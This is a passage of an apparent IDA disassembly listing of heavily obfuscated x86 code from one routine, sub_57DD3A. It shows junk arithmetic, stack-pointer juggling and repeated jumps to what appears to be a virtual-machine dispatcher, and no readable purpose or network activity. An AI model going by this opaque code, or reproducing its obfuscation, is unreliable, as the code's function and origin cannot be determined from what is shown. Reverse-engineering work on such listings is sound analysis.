		jmp	loc_590529
; ---------------------------------------------------------------------------


loc_596C03:				; CODE XREF: sub_57DD3A+230FAj
		add	ebx, 53241697h
		jmp	loc_5907BF
; ---------------------------------------------------------------------------


loc_596C0E:				; CODE XREF: sub_57DD3A+18407j
		push	4CE4h
		jmp	loc_59BEC9
; ---------------------------------------------------------------------------


loc_596C18:				; CODE XREF: sub_57DD3A+121B1j
		push	5883h
		jmp	loc_592DF5
; ---------------------------------------------------------------------------


loc_596C22:				; CODE XREF: sub_57DD3A+1C68Aj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_596C27:				; CODE XREF: sub_57DD3A+234FCj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_58FD27
; ---------------------------------------------------------------------------


loc_596C38:				; CODE XREF: sub_57DD3A+1D009j
		add	ebp, edi
		jmp	loc_5A0191
; ---------------------------------------------------------------------------


loc_596C3F:				; CODE XREF: sub_57DD3A+23EDAj
		sub	esp, 4
		mov	[esp+4Ch+var_4C], edi
		push	9E1h
		mov	[esp+50h+var_50], ebx
		mov	ebx, 27E31D5h
		inc	ebx
		add	ebx, 25FB3EEAh
		push	ebx
		pop	edi
		pop	ebx
		sub	edi, 287970BFh
		jmp	loc_5A29B8
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	[esp+50h+var_50]
		mov	eax, [esp+54h+var_54]
		sub	esp, 4
		mov	[esp+58h+var_58], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+58h+var_58]
		pop	esp
		jmp	loc_58F392
; ---------------------------------------------------------------------------


loc_596C91:				; CODE XREF: sub_57DD3A+1C869j
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		neg	ebp
		jmp	loc_590639
; ---------------------------------------------------------------------------


loc_596C9C:				; CODE XREF: sub_57DD3A+1EF28j
		mov	esp, [esp+54h+var_54]
		jmp	loc_594C4B
; ---------------------------------------------------------------------------


loc_596CA4:				; CODE XREF: sub_57DD3A+23E08j
		mov	esp, [esp+54h+var_54]
		add	esp, 4
		sub	esp, 4
		mov	[esp+54h+var_54], edi
		mov	edi, 42793994h
		sub	esp, 4
		mov	[esp+58h+var_58], ecx
		push	esi
		push	3549ADh
		pop	esi
		jmp	loc_594118
; ---------------------------------------------------------------------------


loc_596CD0:				; CODE XREF: sub_57DD3A+12844j
		pop	bp
		sub	bx, dx
		pop	edx
		push	ax
		mov	ax, 243Ah
		and	bx, ax
		mov	ax, word ptr [esp+1Ah+var_1A]
		add	esp, 2
		sub	bx, 1705h
		neg	bx
		add	bx, 12A3h
		sub	cx, bx
		pop	ebx
		jmp	loc_5A0D9E
; ---------------------------------------------------------------------------


loc_596CFF:				; CODE XREF: sub_57DD3A+1B638j
		sub	dl, 4Fh
		xor	dl, 53h
		and	cl, dl
		jmp	loc_5A22F6
; ---------------------------------------------------------------------------


loc_596D0C:				; CODE XREF: sub_57DD3A+1BA9Aj
		mov	dl, ah
		mov	cl, dl
		pop	edx
		mov	ah, bh
		mov	bh, cl
		pop	cx
		xor	bh, 0ABh
		add	al, bh
		push	[esp+0Ch+var_E+2]
		jmp	loc_59AC0D
; ---------------------------------------------------------------------------


loc_596D24:				; CODE XREF: sub_57DD3A+116CCj
		mov	esi, 45F0307Ch
		or	esi, 737819A8h
		shr	esi, 3
		shl	esi, 2
		jmp	loc_594581
; ---------------------------------------------------------------------------


loc_596D3A:				; CODE XREF: sub_57DD3A+17576j
		mov	edi, [esp+60h+var_60]
		push	eax
		mov	eax, esp
		jmp	loc_593E32
; ---------------------------------------------------------------------------


loc_596D45:				; CODE XREF: sub_57DD3A+12274j
		push	esi
		jmp	loc_594CFF
; ---------------------------------------------------------------------------


loc_596D4B:				; CODE XREF: sub_57DD3A+1944Cj
		push	[esp+58h+var_58]
		pop	edx
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ebx
		push	esp
		mov	ebx, [esp+60h+var_60]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+5Ch+var_5C]
		pop	esp
		add	ecx, esi
		mov	esi, [esp+58h+var_58]
		jmp	loc_5A2C18
; ---------------------------------------------------------------------------


loc_596D76:				; CODE XREF: sub_57DD3A+1B77Fj
		and	cl, 0A1h
		sub	cl, 88h
		sub	al, cl
		mov	ecx, [esp+58h+var_58]
		add	esp, 4
		sub	al, 54h
		jmp	loc_58F755
; ---------------------------------------------------------------------------


loc_596D8E:				; CODE XREF: sub_57DD3A+1A05Ej
		add	esp, 4
		push	[esp+50h+var_50]
		pop	ecx
		add	esp, 4
		xor	al, bl
		jmp	loc_59B1DF
; ---------------------------------------------------------------------------


loc_596DA2:				; CODE XREF: sub_57DD3A+17AE2j
		push	35C2h
		jmp	loc_595536
; ---------------------------------------------------------------------------


loc_596DAC:				; CODE XREF: sub_57DD3A+1FA73j
		xor	eax, edi
		push	[esp+46h+var_46]
		pop	edi
		add	esp, 4
		push	66EEh
		mov	[esp+46h+var_46], edx
		push	edi
		push	esi
		mov	esi, 65DD4917h
		mov	edi, 0DC3404EBh
		add	edi, esi
		pop	esi
		mov	edx, 2CF11DB7h
		xor	edx, edi
		mov	edi, [esp+4Ah+var_4C+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_596663
; ---------------------------------------------------------------------------


loc_596DE4:				; CODE XREF: sub_57DD3A+21974j
		push	[esp+4Eh+var_50+2]
		pop	eax
		add	esp, 4
		mov	ecx, [esp+4Ah+var_4C+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A093D
; ---------------------------------------------------------------------------


loc_596DFC:				; CODE XREF: sub_57DD3A+1AFC8j
		and	edx, 3D8234FBh
		jmp	loc_5A2DB1
; ---------------------------------------------------------------------------


loc_596E07:				; CODE XREF: sub_57DD3A+21E18j
		pop	edx
		jmp	loc_598E14
; ---------------------------------------------------------------------------


loc_596E0D:				; CODE XREF: sub_57DD3A+16BE4j
		mov	[esp+1Ch+var_1E+2], edx
		jmp	loc_59BA08
; ---------------------------------------------------------------------------


loc_596E15:				; CODE XREF: sub_57DD3A+21591j
		push	esi
		mov	esi, 22494CEEh
		push	ebp
		mov	ebp, 17E74420h
		shr	ebp, 5
		dec	ebp
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	esi
		mov	esi, 0D855A8B1h
		sub	ebp, esi
		jmp	loc_58EBE7
; ---------------------------------------------------------------------------


loc_596E37:				; CODE XREF: sub_57DD3A+15F3Cj
		add	esp, 4
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		not	ebx
		xchg	ebx, ecx
		push	esi
		jmp	loc_5A2575
; ---------------------------------------------------------------------------


loc_596E4A:				; CODE XREF: sub_57DD3A+12D05j
		push	edi
		mov	edi, 192810CCh
		xor	esi, edi
		pop	edi
		sub	esi, 25A06172h
		add	ebx, esi
		pop	esi
		push	ecx
		push	esp
		push	[esp+12h+var_12]
		push	[esp+16h+var_16]
		pop	ecx
		add	esp, 4
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0Eh+var_E]
		pop	esp
		mov	[esp+0], edx
		push	72F97B5Bh
		pop	edx
		push	edx
		jmp	loc_592ADF
; ---------------------------------------------------------------------------


loc_596E87:				; CODE XREF: sub_57DD3A+21947j
		mov	esp, [esp+0Eh+var_E]
		test	cx, ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_596E93:				; CODE XREF: sub_57DD3A+22249j
		mov	[esp+12h+var_12], edi
		mov	edi, 4
		push	edi
		jmp	loc_5A0B4E
; ---------------------------------------------------------------------------


loc_596EA1:				; CODE XREF: sub_57DD3A+11CB6j
		xchg	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		ror	word ptr [esp+8+var_8],	cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_596EB1:				; CODE XREF: sub_57DD3A+1DECCj
		add	edx, 8587B1Dh
		push	eax
		mov	eax, 3F2C12D0h
		push	edi
		push	ecx
		jmp	loc_5901D7
; ---------------------------------------------------------------------------


loc_596EC4:				; CODE XREF: sub_57DD3A+1733Dj
		add	eax, 72232B13h
		pop	ebx
		sub	esp, 4
		mov	[esp+14h+var_16+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], eax
		push	[esp+10h+var_E+2]
		pop	eax
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_E+2]
		or	[esp+0Ch+var_E+2], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_596EF8:				; CODE XREF: sub_57DD3A+2279Cj
		mov	[esp+10h+var_12+2], ebx
		mov	ebx, 585D5EDFh
		push	esi
		jmp	loc_590A3A
; ---------------------------------------------------------------------------


loc_596F06:				; CODE XREF: sub_57DD3A+136C6j
		pop	ebp
		mov	edi, [esp+16h+var_16]
		add	esp, 4
		mov	ebp, [esp+12h+var_12]
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_59D46F
; ---------------------------------------------------------------------------


loc_596F1D:				; CODE XREF: sub_57DD3A+1D380j
		mov	esi, 455704E6h
		jmp	loc_5996B6
; ---------------------------------------------------------------------------


loc_596F27:				; CODE XREF: sub_57DD3A+22103j
		pop	[esp+0Eh+var_E]
		pop	esp
		push	[esp+6+var_8+2]
		mov	edx, [esp+0]
		jmp	loc_59E587
; ---------------------------------------------------------------------------
		push	dword ptr [esp+0]
		push	dword ptr [esp]
		jmp	loc_59CF26
; ---------------------------------------------------------------------------


loc_596F41:				; CODE XREF: sub_57DD3A+1B9D2j
		sub	esp, 4
		mov	[esp+16h+var_16], edx
		mov	dl, 0Ch
		jmp	loc_59BDFD
; ---------------------------------------------------------------------------


loc_596F4E:				; CODE XREF: sub_57DD3A+1D29Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+1Eh+var_1A]
		pop	ebx
		jmp	loc_5958AB
; ---------------------------------------------------------------------------


loc_596F68:				; CODE XREF: sub_57DD3A+1E64Ej
		add	edi, 758B45A0h
		add	edi, 74DF5119h
		add	edi, 632647EAh
		push	ecx
		jmp	loc_591DFB
; ---------------------------------------------------------------------------


loc_596F80:				; CODE XREF: sub_57DD3A+250A9j
		pop	ebx
		sub	dl, 93h
		xor	al, dl
		mov	edx, [esp+1Eh+var_1E]
		push	edx
		jmp	loc_5A0734
; ---------------------------------------------------------------------------


loc_596F8F:				; CODE XREF: sub_57DD3A+12606j
		mov	eax, 531B6760h
		jmp	loc_5A0C98
; ---------------------------------------------------------------------------


loc_596F99:				; CODE XREF: sub_57DD3A+1DB13j
		push	esi
		push	ecx
		mov	ecx, 6C3F0C37h
		jmp	loc_591F52
; ---------------------------------------------------------------------------


loc_596FA5:				; CODE XREF: sub_57DD3A+1B65Ej
		sub	eax, 7A16229Fh
		pop	edi
		push	edi
		mov	edi, 4
		add	eax, 64072D1h
		add	eax, edi
		jmp	loc_59EB14
; ---------------------------------------------------------------------------


loc_596FBD:				; CODE XREF: sub_57DD3A+22908j
		mov	[esp+0Ch+var_E+2], edi
		mov	edi, 79C10418h
		add	eax, edi
		mov	edi, [esp+0Ch+var_E+2]
		jmp	loc_5938D9
; ---------------------------------------------------------------------------


loc_596FCF:				; CODE XREF: sub_57DD3A+24D44j
		add	esp, 4
		push	ebx
		mov	ebx, 140C2D43h
		shl	ebx, 7
		sub	ebx, 5E007670h
		neg	ebx
		neg	ebx
		xor	ebx, 0A90D54AEh
		xor	ebp, ebx
		pop	ebx
		dec	ebp
		shr	ebp, 6
		neg	ebp
		push	edi
		mov	edi, 0B415B98Ah
		xor	ebp, edi
		pop	edi
		xor	edx, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	5CA8h
		mov	[esp+8+var_8], edi
		mov	edi, 56596E62h
		or	edi, 7B9328BEh
		add	edi, 33757037h
		push	edi
		not	[esp+0Ch+var_E+2]
		pop	edi
		neg	edi
		shl	edi, 8
		add	edi, 0ABA1914Ah
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+8+var_8], edx
		sub	[esp+8+var_8], 4CB9701Dh
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_58F838
; ---------------------------------------------------------------------------


loc_597052:				; CODE XREF: sub_57DD3A+20010j
		pop	ebx
		jmp	loc_5932A9
; ---------------------------------------------------------------------------


loc_597058:				; CODE XREF: sub_57DD3A+25335j
		inc	eax
		sub	eax, 0A38B5E6Fh
		add	ebp, eax
		jmp	loc_59B501
; ---------------------------------------------------------------------------


loc_597065:				; CODE XREF: sub_57DD3A+22F16j
		not	dl
		push	ecx
		mov	ch, 22h
		sub	dl, ch
		pop	ecx
		sub	dl, 76h
		mov	al, dl
		jmp	loc_59050E
; ---------------------------------------------------------------------------


loc_597077:				; CODE XREF: sub_57DD3A+1C03Aj
		add	ecx, ebx
		add	ecx, 83F7051h
		pop	ebx
		xor	ecx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ecx
		jmp	loc_5A300E
; ---------------------------------------------------------------------------


loc_59708B:				; CODE XREF: sub_57DD3A+1EE70j
		pop	ebp
		sub	edx, 4
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_59C5B9
; ---------------------------------------------------------------------------


loc_59709D:				; CODE XREF: sub_57DD3A+2385Aj
		add	esp, 4
		sub	eax, ebx
		mov	ebx, [esp-0Ch+arg_6+2]
		add	esp, 4
		mov	edx, [esp-10h+arg_A+2]
		jmp	loc_59A0F2
; ---------------------------------------------------------------------------


loc_5970B3:				; CODE XREF: sub_57DD3A+12B6Aj
		sub	esp, 4
		mov	[esp+3Ah+var_3A], esi
		jmp	loc_59BA79
; ---------------------------------------------------------------------------


loc_5970C1:				; CODE XREF: sub_57DD3A+12DD4j
		push	ebx
		jmp	loc_598AF7
; ---------------------------------------------------------------------------


loc_5970C7:				; CODE XREF: sub_57DD3A+1ADD1j
		mov	ecx, 4C50FCAh
		sub	esp, 4
		mov	[esp+74h+var_74], ebp
		sub	esp, 4
		mov	[esp+78h+var_78], edx
		push	1E5F4C57h
		mov	edx, [esp+7Ch+var_7C]
		add	esp, 4
		push	ebp
		mov	ebp, 15952854h
		or	edx, ebp
		mov	ebp, [esp+7Ch+var_7C]
		add	esp, 4
		push	382h
		mov	[esp+7Ch+var_7C], eax
		mov	eax, 1B1A5C89h
		push	ebx
		jmp	loc_59CEBC
; ---------------------------------------------------------------------------


loc_59710A:				; CODE XREF: sub_57DD3A+1433Fj
		add	al, ch
		pop	ecx
		add	al, 7Fh
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 5AF07738h
		inc	eax
		sub	eax, 5AF07735h
		add	esi, eax
		pop	eax
		jmp	loc_59341E
; ---------------------------------------------------------------------------


loc_597126:				; CODE XREF: sub_57DD3A+10A42j
		shl	esi, 4
		inc	esi
		jmp	loc_5A1F5E
; ---------------------------------------------------------------------------


loc_59712F:				; CODE XREF: sub_57DD3A+158E5j
		dec	bh
		add	bh, 0FBh
		jmp	loc_599F31
; ---------------------------------------------------------------------------


loc_597139:				; CODE XREF: sub_57DD3A+12784j
		dec	edi
		inc	edi
		jmp	loc_595658
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		mov	eax, 7D3C52DCh
		push	ecx
		mov	ecx, 290317CEh
		and	eax, ecx
		pop	ecx
		neg	eax
		push	esi
		mov	esi, 0D6FFED0Ch
		jmp	loc_58E3CD
; ---------------------------------------------------------------------------


loc_597164:				; CODE XREF: sub_57DD3A+1CBA5j
		mov	ebx, 3B5B2DEEh
		sub	[esp+26h+var_22], ebx
		push	[esp+26h+var_26]
		jmp	loc_59E347
; ---------------------------------------------------------------------------


loc_597175:				; CODE XREF: sub_57DD3A+12916j
		mov	esi, ecx
		pop	ecx
		add	esi, 2DDE5876h
		sub	esi, edx
		sub	esi, 2DDE5876h
		jmp	loc_596D4B
; ---------------------------------------------------------------------------


loc_59718B:				; CODE XREF: sub_57DD3A+12F00j
		mov	eax, [esp+58h+var_58]
		add	esp, 4
		sub	eax, ebp
		push	[esp+54h+var_54]
		jmp	loc_5918E8
; ---------------------------------------------------------------------------


loc_59719E:				; CODE XREF: sub_57DD3A+10F12j
		xor	ecx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_5A0F13
; ---------------------------------------------------------------------------


loc_5971A9:				; CODE XREF: sub_57DD3A+174C2j
		push	[esp+50h+var_4C]
		jmp	loc_59F67D
; ---------------------------------------------------------------------------


loc_5971B2:				; CODE XREF: sub_57DD3A+1D4D3j
		mov	ah, cl
		inc	ah
		jmp	loc_59EB78
; ---------------------------------------------------------------------------


loc_5971BB:				; CODE XREF: sub_57DD3A+17A59j
		not	ch
		jmp	loc_59EF11
; ---------------------------------------------------------------------------


loc_5971C2:				; CODE XREF: sub_57DD3A+18BBEj
		mov	ecx, 4
		add	ebp, 2CB70E2Bh
		add	ebp, 399F2EF0h
		add	ebp, ecx
		sub	ebp, 399F2EF0h
		sub	ebp, 2CB70E2Bh
		pop	ecx
		push	ebp
		jmp	loc_593D28
; ---------------------------------------------------------------------------


loc_5971E8:				; CODE XREF: sub_57DD3A+24E7Aj
		pop	ax
		add	cl, 0D8h
		add	cl, dl
		jmp	loc_598312
; ---------------------------------------------------------------------------


loc_5971F4:				; CODE XREF: sub_57DD3A+14D0Fj
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp+16h+var_16]
		pop	esp
		mov	[esp+12h+var_12], edi
		mov	edi, 5C3D0616h
		jmp	loc_5A2D1D
; ---------------------------------------------------------------------------


loc_597208:				; CODE XREF: sub_57DD3A+23D69j
		push	6C1Bh
		jmp	loc_5966AF
; ---------------------------------------------------------------------------


loc_597212:				; CODE XREF: sub_57DD3A+11AE6j
		mov	[ecx], edi
		pop	edi
		xor	dword ptr [ecx], 26E277F2h
		mov	ecx, [esp+80h+var_80]
		sub	esp, 4
		mov	[esp+84h+var_84], ecx
		jmp	loc_5A19C8
; ---------------------------------------------------------------------------


loc_59722C:				; CODE XREF: sub_57DD3A+11677j
		push	33A7360Dh
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		push	esi
		mov	esi, 0C9A6CAFh
		sub	esi, 2CE94F59h
		dec	esi
		xor	esi, 3180754Eh
		add	esi, 7373FFFFh
		and	edx, esi
		pop	esi
		jmp	loc_59968F
; ---------------------------------------------------------------------------


loc_597258:				; CODE XREF: sub_57DD3A+1D053j
		xchg	ecx, [esp+2Eh+var_2E]
		pop	esp
		sub	esp, 4
		mov	[esp+2Eh+var_2E], esi
		push	ecx
		push	4C6B09A0h
		jmp	loc_59B57F
; ---------------------------------------------------------------------------


loc_59726D:				; CODE XREF: sub_57DD3A+1A458j
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_59B5E5
; ---------------------------------------------------------------------------


loc_59727B:				; CODE XREF: sub_57DD3A+21495j
		sub	esi, 4
		xchg	esi, [esp+36h+var_36]
		pop	esp
		mov	[esp+32h+var_32], ebp
		mov	ebp, 1
		push	ebx
		mov	ebx, 42B66983h
		sub	[esp+36h+var_2E], 16046BDFh
		sub	[esp+36h+var_2E], ebx
		add	[esp+36h+var_2E], 16046BDFh
		pop	ebx
		add	[esp+32h+var_2E], ebp
		push	ebx
		mov	ebx, 42B66983h
		sub	[esp+36h+var_2E], 1E882743h
		add	[esp+36h+var_2E], ebx
		push	7A4Ah
		mov	[esp+3Ah+var_3A], eax
		jmp	loc_59C39A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+3Ah+var_3A]
		jmp	loc_59DC53
; ---------------------------------------------------------------------------


loc_5972D1:				; CODE XREF: sub_57DD3A+15C3Bj
		pop	edx
		and	eax, 33C21A89h
		shr	eax, 8
		push	edi
		mov	edi, 32C21Ch
		xor	eax, edi
		mov	edi, [esp+7Ch+var_7C]
		add	esp, 4
		add	ebx, 71F75F7h
		add	ebx, eax
		sub	ebx, 71F75F7h
		pop	eax
		push	7DF3h
		mov	[esp+78h+var_78], eax
		mov	eax, 4
		sub	ebx, 53241697h
		jmp	loc_58EA4A
; ---------------------------------------------------------------------------


loc_597312:				; CODE XREF: sub_57DD3A+22885j
		sub	edx, 173522Ah
		jmp	loc_599ADB
; ---------------------------------------------------------------------------


loc_59731D:				; CODE XREF: sub_57DD3A+147F9j
		dec	ebp
		jmp	loc_59C24E
; ---------------------------------------------------------------------------


loc_597323:				; CODE XREF: sub_57DD3A+17C88j
		xor	ecx, 2E435192h
		add	ebp, ecx
		mov	ecx, [esp+4Eh+var_50+2]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		pop	edi
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_59EB0F
; ---------------------------------------------------------------------------


loc_59733F:				; CODE XREF: sub_57DD3A+1218Aj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_597344:				; CODE XREF: sub_57DD3A+22A5Aj
		mov	ax, word ptr [esp+50h+var_50]
		push	14EEh
		mov	[esp+54h+var_54], ebp
		jmp	loc_5A2B21
; ---------------------------------------------------------------------------


loc_597355:				; CODE XREF: sub_57DD3A+23E47j
		xchg	esi, [esp+54h+var_54]
		pop	esp
		jmp	loc_5A2373
; ---------------------------------------------------------------------------


loc_59735E:				; CODE XREF: sub_57DD3A+21725j
		pop	ebx
		push	28A9h
		mov	[esp+50h+var_50], edx
		push	edx
		push	ecx
		mov	ecx, 421B1C8Ah
		mov	edx, 527970D0h
		xor	edx, ecx
		pop	ecx
		xor	[esp+54h+var_50], edx
		push	[esp+54h+var_54]
		pop	edx
		add	esp, 4
		push	[esp+50h+var_50]
		mov	eax, [esp+54h+var_54]
		push	esi
		mov	esi, esp
		jmp	loc_599220
; ---------------------------------------------------------------------------


loc_597392:				; CODE XREF: sub_57DD3A+23DC1j
		sub	esp, 4
		push	esp
		pop	[esp+60h+var_60]
		add	[esp+5Ch+var_5C], 4
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_593516
; ---------------------------------------------------------------------------


loc_5973AB:				; CODE XREF: sub_57DD3A+157E2j
		push	esi
		mov	esi, 661A5806h
		sub	edi, esi
		mov	esi, [esp+64h+var_64]
		jmp	loc_59BC57
; ---------------------------------------------------------------------------


loc_5973BB:				; CODE XREF: sub_57DD3A+14EC6j
		pop	esp
		add	eax, esi
		jmp	loc_59F711
; ---------------------------------------------------------------------------


loc_5973C3:				; CODE XREF: sub_57DD3A+1814Bj
		mov	dh, ch
		pop	ecx
		pop	ebx
		mov	bh, 84h
		xor	bh, dh
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		add	al, 32h
		add	al, 0A9h
		sub	al, bh
		jmp	loc_58E5F6
; ---------------------------------------------------------------------------


loc_5973E0:				; CODE XREF: sub_57DD3A+219BAj
		sub	ebp, eax
		pop	eax
		sub	ebp, 346718Ah
		push	eax
		push	73443C38h
		pop	eax
		sub	ebp, eax
		jmp	loc_59E228
; ---------------------------------------------------------------------------


loc_5973F7:				; CODE XREF: sub_57DD3A+13BFCj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5973FC:				; CODE XREF: sub_57DD3A+22630j
		pop	esi
		pop	ebx
		sub	esi, 0BF7CEEECh
		jmp	loc_58E4B3
; ---------------------------------------------------------------------------


loc_597409:				; CODE XREF: sub_57DD3A+13D86j
		mov	[esp+24h+var_26+2], eax
		mov	eax, 3D535711h
		mov	esi, 72F62C81h
		xor	esi, eax
		mov	eax, [esp+24h+var_26+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A2669
; ---------------------------------------------------------------------------


loc_59742C:				; CODE XREF: sub_57DD3A+19959j
		sub	al, bh
		sub	esp, 4
		jmp	loc_5A0DDC
; ---------------------------------------------------------------------------


loc_597439:				; CODE XREF: sub_57DD3A+11CEFj
		shl	ebx, 1
		jmp	loc_599DB8
; ---------------------------------------------------------------------------


loc_597440:				; DATA XREF: sub_57DD3A+10362o
		movzx	ax, byte ptr [edx]
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	esp
		mov	edx, [esp+0Ch+var_E+2]
		add	esp, 4
		push	eax
		push	ebp
		jmp	loc_58F7B7
; ---------------------------------------------------------------------------


loc_59745B:				; CODE XREF: sub_57DD3A+24EBAj
		add	edi, edx
		pop	edx
		sub	edi, 6A617DC8h
		add	edi, esi
		add	edi, 6A617DC8h
		sub	edi, 13F84780h
		pop	esi
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		sub	[esp+8+var_8], 69BF0A66h
		add	[esp+8+var_8], eax
		add	[esp+8+var_8], 69BF0A66h
		push	7330h
		mov	[esp+0Ch+var_E+2], ebx
		mov	ebx, 16DF12F2h
		add	[esp+0Ch+var_8], ebx
		pop	ebx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5974A4:				; CODE XREF: sub_57DD3A+23057j
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	2E79h
		mov	[esp+0Ch+var_E+2], edi
		jmp	loc_594D26
; ---------------------------------------------------------------------------


loc_5974BA:				; CODE XREF: sub_57DD3A+156BCj
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 54C6h
		mov	word ptr [esp+7Eh+var_80+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5974D5:				; CODE XREF: sub_57DD3A+23A57j
		mov	ebp, esp
		jmp	loc_59D06F
; ---------------------------------------------------------------------------


loc_5974DC:				; CODE XREF: sub_57DD3A+2170Dj
		mov	ebx, 27BABE4Eh
		jmp	loc_59C091
; ---------------------------------------------------------------------------


loc_5974E6:				; CODE XREF: sub_57DD3A+1B3F8j
		pop	ebp
		add	ebx, ecx
		sub	ebx, 26B46053h
		mov	ecx, [esp+80h+var_80]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_597E6C
; ---------------------------------------------------------------------------


loc_597500:				; CODE XREF: sub_57DD3A+251C0j
		xor	ebx, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		and	dl, 24h
		not	dl
		push	eax
		jmp	loc_59764A
; ---------------------------------------------------------------------------


loc_597511:				; CODE XREF: sub_57DD3A+1DB2Fj
		sub	ebx, ecx
		pop	ecx
		add	ebx, edi
		add	ebx, 2FA41139h
		pop	edi
		sub	ebx, esi
		sub	ebx, 26F61C9Eh
		pop	esi
		jmp	loc_5A096A
; ---------------------------------------------------------------------------


loc_59752B:				; CODE XREF: sub_57DD3A+2206Bj
		pop	esp
		add	eax, 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+80h+var_80], ebx
		jmp	loc_597C98
; ---------------------------------------------------------------------------


loc_597542:				; CODE XREF: sub_57DD3A+1A0A4j
		inc	eax
		inc	eax
		and	eax, 7C763012h
		sub	esp, 4
		mov	[esp+84h+var_84], edi
		push	esi
		mov	esi, 2B452F3Dh
		mov	edi, esi
		pop	esi
		sub	edi, 0FFFFFFFFh
		shr	edi, 4
		shr	edi, 5
		xor	edi, 799314BEh
		or	edi, 61E77FADh
		sub	esp, 4
		jmp	loc_59FC97
; ---------------------------------------------------------------------------


loc_597575:				; CODE XREF: sub_57DD3A+20730j
		push	edi
		mov	edi, 286D38D8h
		jmp	loc_5A0818
; ---------------------------------------------------------------------------


loc_597580:				; CODE XREF: sub_57DD3A+1D6BAj
		push	ebx
		push	esi
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		jmp	loc_59773C
; ---------------------------------------------------------------------------


loc_59758F:				; CODE XREF: sub_57DD3A+1828Cj
		sub	ebp, 59410843h
		add	ebp, esi
		add	ebp, 59410843h
		mov	esi, [esp+5Ch+var_5C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+5Ch+var_5C], edx
		jmp	loc_59421F
; ---------------------------------------------------------------------------


loc_5975B1:				; CODE XREF: sub_57DD3A+245B7j
		pop	edi
		xchg	edx, [esp+58h+var_58]
		pop	esp
		mov	[esp+54h+var_54], ecx
		mov	ecx, 37FFE77Ch
		sub	eax, ecx
		push	[esp+54h+var_54]
		mov	ecx, [esp+58h+var_58]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 0A5474A2h
		and	ebp, 60AD0DEBh
		push	ebx
		mov	ebx, 292F40E2h
		add	ebx, 28CB3648h
		shl	ebx, 8
		xor	ebx, 58CD162h
		add	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 2E5F65A8h
		add	ebp, 0D1A09A5Ch
		add	esi, ebp
		pop	ebp
		jmp	loc_59D2F8
; ---------------------------------------------------------------------------


loc_597607:				; CODE XREF: sub_57DD3A+11B67j
		sub	eax, 4
		xchg	eax, [esp+84h+var_84]
		pop	esp
		mov	[esp+80h+var_80], ebx
		mov	ebx, 4
		jmp	loc_5986CF
; ---------------------------------------------------------------------------


loc_59761B:				; CODE XREF: sub_57DD3A+1DCEEj
		mov	eax, [esp+80h+var_80]
		add	esp, 4
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp+80h+var_80]
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		jmp	loc_590EEB
; ---------------------------------------------------------------------------


loc_597643:				; CODE XREF: sub_57DD3A+2458Cj
		add	al, dh
		jmp	loc_58FD4F
; ---------------------------------------------------------------------------


loc_59764A:				; CODE XREF: sub_57DD3A+197D2j
		mov	al, 9Ch
		inc	al
		xor	al, 62h
		sub	dl, al
		pop	eax
		shl	dl, 1
